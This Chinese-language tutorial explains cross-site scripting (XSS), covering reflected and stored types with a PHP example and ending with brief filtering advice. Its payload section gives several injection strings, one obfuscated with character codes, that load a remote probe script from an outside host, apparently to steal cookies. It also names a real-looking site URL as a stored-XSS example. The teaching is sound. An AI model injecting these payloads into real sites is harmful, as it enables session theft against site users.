-
什么是XSS
-
-
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入而已html代码,当浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到而已攻击用户的特殊目的。
-
-
XSS可以干什么
-
-
盗取管理员Cookie或用户Cookie
-
XSS Worm
-
挂马(水坑攻击)
-
有局限性的键盘记录
-
-
XSS分类
-
-
放射性XSS
-
存储型XSS
-
DOM XSS
-
flash XSS
-
mXSS
-
-
反射(非持久)型XSS
-
-
发出请求时,XSS代码出现在URL中,最后输入提交到服务器,服务器解析后响应在响应内容中出现这段XSS代码,最后浏览器解析执行
-
这个过程就像一次反射,所以命名为反射性XSS
-
1
2
3
4
5
6
|
xss.php
<?php
echo
$_GET
[
'x'
]
?>
#提交
/xss.php?x=<script>alert(1)</script>
|
-
服务端解析式,echo就会完整的输出<script>alert(1)</script>到响应体中,然后浏览器解析执行触发弹窗
-
储存(持久)型XSS
-
-
储存型XSS和反射型XSS的差别仅在于:提交的XSS代码会储存在服务器(不管是数据库/内存/文件系统等),下次请求目标页面是不用在提交XSS代码。
-
最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言储存到数据库中,目标用户查看留言板是,那些留言内容会从数据库查村出来并显示,浏览器发现有XSS代码,就当作正常的HTML和JS解析执行,于是触发了XSS攻击
-
储存性XSS的攻击是最隐蔽的
-
1
|
#eg:http:
//www.nfpeople.com/user.php?id=21839
|
-
XSS是如何利用的
-
payload(有效的攻击代码)
-
1
2
3
4
5
6
7
8
9
10
11
|
<script src=
'http://b.ioio.pub/xss/probe.js'
></script>
<img src=x onerror=
"s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'"
;>
<svg onload=s=createElement(
'script'
);body.appendChild(s);s.src='http:
//b.ioio.pub/xss/probe.js>
<svg onload=eval(String.fromCharCode(
115
,
61
,
99
,
114
,
101
,
97
,
116
,
101
,
69
,
108
,
101
,
109
,
101
,
110
,
116
,
40
,
39
,
115
,
99
,
114
,
105
,
112
,
116
,
39
,
41
,
59
,
98
,
111
,
100
,
121
,
46
,
9
7
,
112
,
112
,
101
,
110
,
100
,
67
,
104
,
105
,
108
,
100
,
40
,
115
,
41
,
59
,
115
,
46
,
115
,
114
,
99
,
61
,
39
,
104
,
116
,
116
,
112
,
58
,
47
,
47
,
98
,
46
,
105
,
111
,
105
,
111
,
46
,
112
,
117
,
98
,
47
,
120
,
115
,
115
,
47
,
112
,
114
,
111
,
98
,
101
,
46
,
106
,
115
)) >
|
-
修复
-
对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。
-